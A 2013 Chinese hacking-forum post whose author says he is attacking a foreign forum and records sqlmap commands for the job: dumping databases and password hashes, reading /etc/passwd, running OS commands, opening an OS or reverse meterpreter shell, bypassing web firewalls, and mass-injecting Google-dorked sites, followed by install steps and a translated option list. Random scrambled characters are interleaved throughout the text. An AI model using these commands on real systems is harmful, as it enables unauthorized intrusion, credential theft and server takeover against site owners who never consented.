找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2845|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
* B) p% {; A( k3 @+ _) ]1 ]3 Nsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称5 ?3 L  A8 Y! z
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名/ X0 x3 K( {+ f. ?
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
4 X$ R) O) a3 E% R% n, n
) y9 f0 _; f" J* R5 F. V- wsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v6 Q* }& q! w, Q  c4 {# }
0 #获取字段内容! v2 m. C3 S2 Y5 r, R) Q0 ?6 y1 p

' g: X' u9 A$ V. n) W******************信息获取******************
' ^  j% d5 U  A5 q# ssqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
: `# q1 N  p; osqlmap -u “http://url/news?id=1″ –users #列数据库用户
- v/ k/ K$ w/ b1 hsqlmap -u “http://url/news?id=1″ –dbs#列数据库8 w! @! T+ o" ^  J- a
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
( t6 _* p- v, p* vsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码0 M& s! r# g. b( E, ]1 x
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
) j4 O) Y" T+ n/ R: j–start 1 –stop 20 #列出指定字段,列出20 条
2 }+ E2 k- h0 |9 F) M# F9 ^sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表& |. \# l% G* e5 p  X
sqlmap -u “http://url/news?id=1″ –privileges #查看权限( A" r) U+ B; A' J8 U7 l
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色* D1 G' V1 [. Z$ M. f
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)4 F* I+ d$ _2 ]" L
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
& H; `* f- t/ T5 }; l; m' L) wsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
; ]; `0 j6 m% G0 \# v4 Usqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入$ v+ f% H% i. z- K% s
sqlmap -u “http://url/news?id=1″-b #获取banner信息7 y( p0 u0 C+ K) m
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入/ x+ d: |$ {. A- M
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
3 R: e4 e2 J0 L/ Q7 zsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入4 U( N. t6 w* V+ s6 I
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
9 k; ^, C0 P, asqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令! A) ]- q$ y& R+ G  k8 P
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
; z  f. m" i2 g. Q: isqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令) @/ V9 C! {/ t4 l8 }
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
) L2 }+ ?: P, }7 U9 F! K$ S4 J2 Z* osqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表0 U. W" u7 e+ o, y/ m7 j9 _
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度, \8 G/ ]. F4 w$ m% B$ |: }
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
, k% b- K5 ?8 z/ D& E/ a***********高级用法*************
4 s/ s$ F6 T: Z1 y-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
9 m2 k6 D' f# h9 y' m; T2 qsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
- d9 ?6 _" q) ^" H2 e–technique   测试指定注入类型\使用的技术) q- e! z. z* _* a
不加参数默认测试所有注入技术7 s) b5 I' z1 {( J# i# r/ K8 q
•     B: 基于布尔的SQL 盲注  Q9 `( }  D6 e+ F( @
•     E: 基于显错sql 注入% X. X7 ^+ m. g3 q! f* x0 R9 S/ v
•     U: 基于UNION 注入
0 _5 D8 @$ F8 _$ T8 e# Z& k) w  y•     S: 叠层sql 注入, G5 ?3 {- c( o. u- n6 R
•     T: 基于时间盲注
1 e, [4 I: w' q/ z4 _–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char(), X/ _- q- P: t. e. H
–tamper 插件所在目录
8 p, v6 r1 Y3 g+ ~\sqlmap-dev\tamper' V6 f6 k" W& R3 W4 U$ D" t8 v
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能0 Z7 r3 n% N: ~% p$ j$ }
level 执行测试等级 攻击实例:& x7 \8 W3 P/ x) x$ p  @
Sqlmap -u “http://url/news?id=1&Submit=Submit”  `. F- W- S. i( D- K. j
–cookie=”PHPSESSID=41aa833e6d0d
8 \" L/ B" H) W- `28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user* q! P! s& Q% W8 S& g( g; r
–password
! B0 n' o. q  Z$ j% N参考文档:http://sqlmap.sourceforge.net/doc/README.html
( V; `" P, s. j; A9 m***********安装最新版本*************
( z; \3 z) H6 Z' E  E, M" \ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版" R: y0 u3 n* b' m: t, s7 N
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
! e! }" |) f0 u" G# F" p. J$ [# G安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
" g8 N% l1 g7 X& k4 N" z4 ~- w& Msudo vim /home/当前用户/.bashrc6 t  A* ?+ E7 m6 p: S( V
#任意位置加上:. `( ^; t' \2 i) F
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
3 i4 M! d& q( Y, |如果想对所有用户有效 可设置全局 编辑下面的文件4 ?- a0 `/ ?; {  W) F! p3 w
vim /etc/profile+ ?5 o5 N5 n, N3 o. _2 `" V
同样加上:
  ^. l" i5 r* Walias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
" t' E1 _* d# [9 q7 x$ `9 Q( N******************windows 7 (x64) sqlmap install (SVN)************& H0 Y8 {& n' ?+ a; }* m  `) Z( ]; F
http://www.python.org/getit/ 安装python
. K  y% v6 ~8 c& g! Vhttp://www.sliksvn.com/en/download 安装windows svn client
5 `& H0 J. C9 X( Jsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
7 U0 y7 {! T; K2 q7 C安装sqlmap0 D. \1 K# ~, t' c
*修改环境变量
: S: S5 _0 B( ?$ V0 g–version             显示程序的版本号并退出6 K& V3 R- `9 A$ G7 Q, [- J
-h, –help            显示此帮助消息并退出. o" Q# k6 y9 ^/ _$ j
-v VERBOSE            详细级别:0-6(默认为1)) A+ @, X: Z4 T( A1 |4 R
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
- F. [1 S0 y9 G, S) b, v: O-d DIRECT           直接连接到数据库。3 d  f( O- G" O. t2 [
-u URL, –url=URL   目标URL。
2 Y- L- u9 L1 L" Z$ ~& ?8 q-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
& o2 h  a- A. t: j8 d-r REQUESTFILE      从一个文件中载入HTTP 请求。- b2 |. t0 e+ v; z6 H* d4 F" a
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
/ T5 d* o4 w7 K; ?3 j-c CONFIGFILE       从INI 配置文件中加载选项。
7 l# J( }, J6 Y( l# {, f. uRequest(请求)::! Y+ K+ ]# ]3 m: ]; Z; }& C
这些选项可以用来指定如何连接到目标URL。5 `# d" C- }# U1 O
–data=DATA         通过POST 发送的数据字符串4 A7 w, s, X  F0 R/ v  G5 |6 x
–cookie=COOKIE     HTTP Cookie 头* p0 [% [# I( x: |
–cookie-urlencode  URL 编码生成的cookie 注入
! c+ {4 c; m/ _) n1 @–drop-set-cookie   忽略响应的Set –Cookie 头信息" P& s5 o! {7 t# K3 o2 `' e& H
, \2 x% |- Q- L5 Y1 P7 G( ~
–user-agent=AGENT  指定  HTTP User –Agent 头
2 A: [3 X: i2 b! e–random-agent      使用随机选定的HTTP User –Agent 头3 E4 Y1 Y4 ]  u" h, v) v
–referer=REFERER   指定  HTTP Referer 头' h* E7 X2 R0 a3 M9 l( g4 u
–headers=HEADERS   换行分开,加入其他的HTTP 头
! O# s+ [, c& v0 @–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)- y" W" _" _8 R. B/ q
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)7 }0 M3 F2 }  J) z, x
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)" Y. C. n8 \) J2 s. J  C
–proxy=PROXY       使用HTTP 代理连接到目标URL' t2 Z+ A& ]  u% }' _5 ^: [- F% i" j
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)9 B- i6 t/ b1 q$ P* _# i
–ignore-proxy      忽略系统默认的HTTP 代理1 ^: Q. ]2 i7 i. j9 D$ U9 u; H
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
5 C. |2 r7 B+ |–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)0 v: a1 q6 t5 `' Y
–retries=RETRIES   连接超时后重新连接的时间(默认3)
5 S& P) D2 o- d; c4 j–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
2 t6 @* J7 p/ W& T, [2 Z–safe-url=SAFURL   在测试过程中经常访问的url 地址
; p' n3 c4 O1 X# y& w6 H–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL/ Z4 j; R0 \8 F. [6 k6 a
Optimization(优化): 这些选项可用于优化SqlMap 的性能。" t4 f7 c" H7 r# b% o
-o                  开启所有优化开关
9 P( s' @, A) V. Q–predict-output    预测常见的查询输出. F8 e/ S  X2 q% S
–keep-alive        使用持久的HTTP(S)连接& d' ]5 _2 f& q$ P5 g6 M
–null-connection   从没有实际的HTTP 响应体中检索页面长度; a" n- @3 K+ @" k
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)- |& P) R5 u# |6 j4 A
Injection(注入):' P2 @5 o5 M" }: W4 R) F
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
3 W4 p) i% z% k$ L# s4 x' I: X' k$ V+ l-p TESTPARAMETER    可测试的参数(S)
! d; \+ C2 l( g# K# L$ H–dbms=DBMS         强制后端的DBMS 为此值3 T. u- f1 ^' Q) W: `1 q
–os=OS             强制后端的DBMS 操作系统为这个值
/ {& r. ^- r  M$ e# d, w$ t& p- P! R–prefix=PREFIX     注入payload 字符串前缀# d' x7 _- Y) o. m" q5 g
–suffix=SUFFIX     注入 payload 字符串后缀3 k7 Z5 J# z# K) L$ W# f/ W
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
7 {. {! _+ m& F, Y( ZDetection(检测):7 S2 |' t1 \5 J; I4 R% B
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
4 I1 s5 W" C! ]7 D' D! D. l: w–level=LEVEL       执行测试的等级(1-5,默认为1)
9 d2 ~, u6 _2 c* K$ P! |8 F1 _–risk=RISK         执行测试的风险(0-3,默认为1)
; n; A$ D' F4 J–string=STRING     查询时有效时在页面匹配字符串
/ {- n' P% S6 C7 z–regexp=REGEXP     查询时有效时在页面匹配正则表达式1 s3 D# N3 o; Y
–text-only         仅基于在文本内容比较网页: y0 z/ Z+ I7 Y" f8 \& K; p# n7 R* e; h1 U
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。* F* r! k7 E' s4 ~, y/ k  E
–technique=TECH    SQL 注入技术测试(默认BEUST)
) j2 a  W$ o$ [- t, y–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
9 J/ L3 ~1 }7 V* p- K6 G$ W5 A" x3 _4 o/ i–union-cols=UCOLS  定列范围用于测试UNION 查询注入
! i0 }+ z! P0 r* W! m) j–union-char=UCHAR  用于暴力猜解列数的字符
. s8 F3 q; }* e5 A: J: u# {Fingerprint(指纹):
) C4 n/ ~, X! |% Y$ L-f, –fingerprint     执行检查广泛的DBMS 版本指纹
2 t' n$ _% u+ I# `Enumeration(枚举):
. f+ F( R$ s" p. Z8 e( n) ~
' \8 ^$ L- j( M这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。3 |& D# s4 E% q4 C" w3 j: n% z
-b, –banner        检索数据库管理系统的标识
9 W) ?0 J- D8 B' V- t4 l–current-user      检索数据库管理系统当前用户
  ]5 L. [% b( E4 a–current-db        检索数据库管理系统当前数据库3 ^  X) H3 F. f$ \+ ]
–is-dba            检测DBMS 当前用户是否DBA
( }* s4 A! T9 k/ D2 p/ Q; }7 O- p, e–users             枚举数据库管理系统用户% b4 S, S# i- J- t
–passwords         枚举数据库管理系统用户密码哈希
! g) H6 t0 ~) B5 N! q; o–privileges        枚举数据库管理系统用户的权限0 c* o+ e+ e3 l6 m! N+ Z
–roles             枚举数据库管理系统用户的角色
7 S8 P' W5 \1 @0 ^( E' P  R–dbs               枚举数据库管理系统数据库
; G2 A. p/ }1 J7 Q. U–tables            枚举的DBMS 数据库中的表
$ [2 `/ D  R$ y+ e% ~% L: K–columns           枚举DBMS 数据库表列
3 ^& L; l$ E/ g9 s" {0 W* Q–dump              转储数据库管理系统的数据库中的表项+ }7 }, t& c! e
–dump-all          转储所有的DBMS 数据库表中的条目" d+ O2 Z: v$ Z  ^
–search            搜索列(S),表(S)和/或数据库名称(S)
. K. U3 D% y4 B. o5 }- b) a-D DB               要进行枚举的数据库名/ b$ ?! f1 y0 H  y/ S2 I* l3 G! {
-T TBL              要进行枚举的数据库表
5 n/ ]8 @. N" {! w& D3 C, q: M-C COL              要进行枚举的数据库列5 z. N4 d% j. z4 T/ S7 _
-U USER             用来进行枚举的数据库用户
) p  Q1 M# \5 h  X- ?* L–exclude-sysdbs    枚举表时排除系统数据库0 `0 i, K$ f2 a
–start=LIMITSTART  第一个查询输出进入检索- |% S- M) S0 Y9 N7 B7 `7 @
–stop=LIMITSTOP    最后查询的输出进入检索
! Y8 t6 w) u+ h& R  |$ {–first=FIRSTCHAR   第一个查询输出字的字符检索' J, u' C, U( Q2 ~! c
–last=LASTCHAR     最后查询的输出字字符检索0 o6 I6 }6 I# Y# u6 [
–sql-query=QUERY   要执行的SQL 语句' m8 u$ x; C. z5 }$ k4 @
–sql-shell         提示交互式SQL 的shell
  k: d% S5 }4 `- G- F; \. m! s- m" z2 CBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
  i, n; l* \7 N6 Z9 Y% ^–common-tables     检查存在共同表
( F. z" q# C, E* M4 c' h% U- _–common-columns    检查存在共同列
/ x* C" b( v  YUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。& s2 i) X4 C& X& m2 [1 E
–udf-inject        注入用户自定义函数
  w2 A4 r' {2 u# K7 g$ t' Y–shared-lib=SHLIB  共享库的本地路径: y% _( @3 R4 f( K$ A7 Z- d! j  G0 n
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。: q6 k% a, N$ P8 ]/ d
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件& O! u+ p; B! u
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
8 p- o7 j: }3 V1 ]7 F, E–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径- }5 m$ N7 e$ G! o( e& m3 {
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。# ^7 T) i/ r4 t( z
–os-cmd=OSCMD      执行操作系统命令. Q1 I6 z* U1 x' k
–os-shell          交互式的操作系统的shell
0 K- m9 U% D4 P; c–os-pwn            获取一个OOB shell,meterpreter 或VNC  X$ Y8 v) [/ M4 I7 E# w) o
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC1 z% y' }! w. ?$ a
–os-bof            存储过程缓冲区溢出利用
/ K) X" b) p0 C+ R/ }8 l–priv-esc          数据库进程用户权限提升3 A& M: F5 K7 J$ K& z
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
0 M) o" \+ u1 u% ?1 B4 U–tmp-path=TMPPATH  远程临时文件目录的绝对路径( o) x( `' o& l3 b4 n
& S6 }3 X# J" t( U3 Z4 S; i; T
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
6 }. b0 b; \- y: x; M" ]–reg-read          读一个Windows 注册表项值. q/ W* q4 N( B$ k" k
–reg-add           写一个Windows 注册表项值数据
9 K! ?# v- Q+ V) d0 T–reg-del           删除Windows 注册表键值& s1 O2 P% G% V# y9 [+ c
–reg-key=REGKEY    Windows 注册表键$ ~( Q& V# D: Q
–reg-value=REGVAL  Windows 注册表项值& V6 K5 N* @$ Y$ D) \
–reg-data=REGDATA  Windows 注册表键值数据
* [, k( _" _5 ]1 k–reg-type=REGTYPE  Windows 注册表项值类型
; T2 |8 z% o6 M- _# U$ U* `General(一般): 这些选项可以用来设置一些一般的工作参数。# [8 W! t: b7 D! B, \
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
8 r- k- h2 T! R0 e9 `-s SESSIONFILE      保存和恢复检索会话文件的所有数据# L9 V; e5 U, s: ^6 X
–flush-session     刷新当前目标的会话文件3 f9 @' R1 U) ^: @! s* X
–fresh-queries     忽略在会话文件中存储的查询结果
# \4 E+ T+ F' N, N( W–eta               显示每个输出的预计到达时间* O3 i/ b2 H5 ], a% O* ]+ j
–update            更新SqlMap. ~7 Q# E6 R- [$ M; {3 x& _
–save              file 保存选项到INI 配置文件
) z: x+ B9 Y6 L3 h* f5 C–batch             从不询问用户输入,使用所有默认配置。
/ j+ z" m; j* [1 XMiscellaneous(杂项):
7 s  L8 R0 P" R; M% Y+ U3 |: E8 j–beep              发现SQL 注入时提醒
! E: F7 y$ H( O  W* c/ b–check-payload     IDS 对注入payloads 的检测测试( Z" O( s9 ?, m! x9 H
–cleanup           SqlMap 具体的UDF 和表清理DBMS( {; ?& G" V& |6 R5 o# J4 ^
–forms             对目标URL 的解析和测试形式- K: y  p4 i: q: D
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
  L4 M' a' d/ N  g$ u–page-rank         Google dork 结果显示网页排名(PR)
2 ^8 g2 n9 r, `3 `–parse-errors      从响应页面解析数据库管理系统的错误消息0 r% N, }: w, j+ z+ }  N
–replicate         复制转储的数据到一个sqlite3 数据库
9 n4 x: h( o$ W* s) X% r–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
# Z0 ]4 r/ v. p. d6 R" l; A) L8 i–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表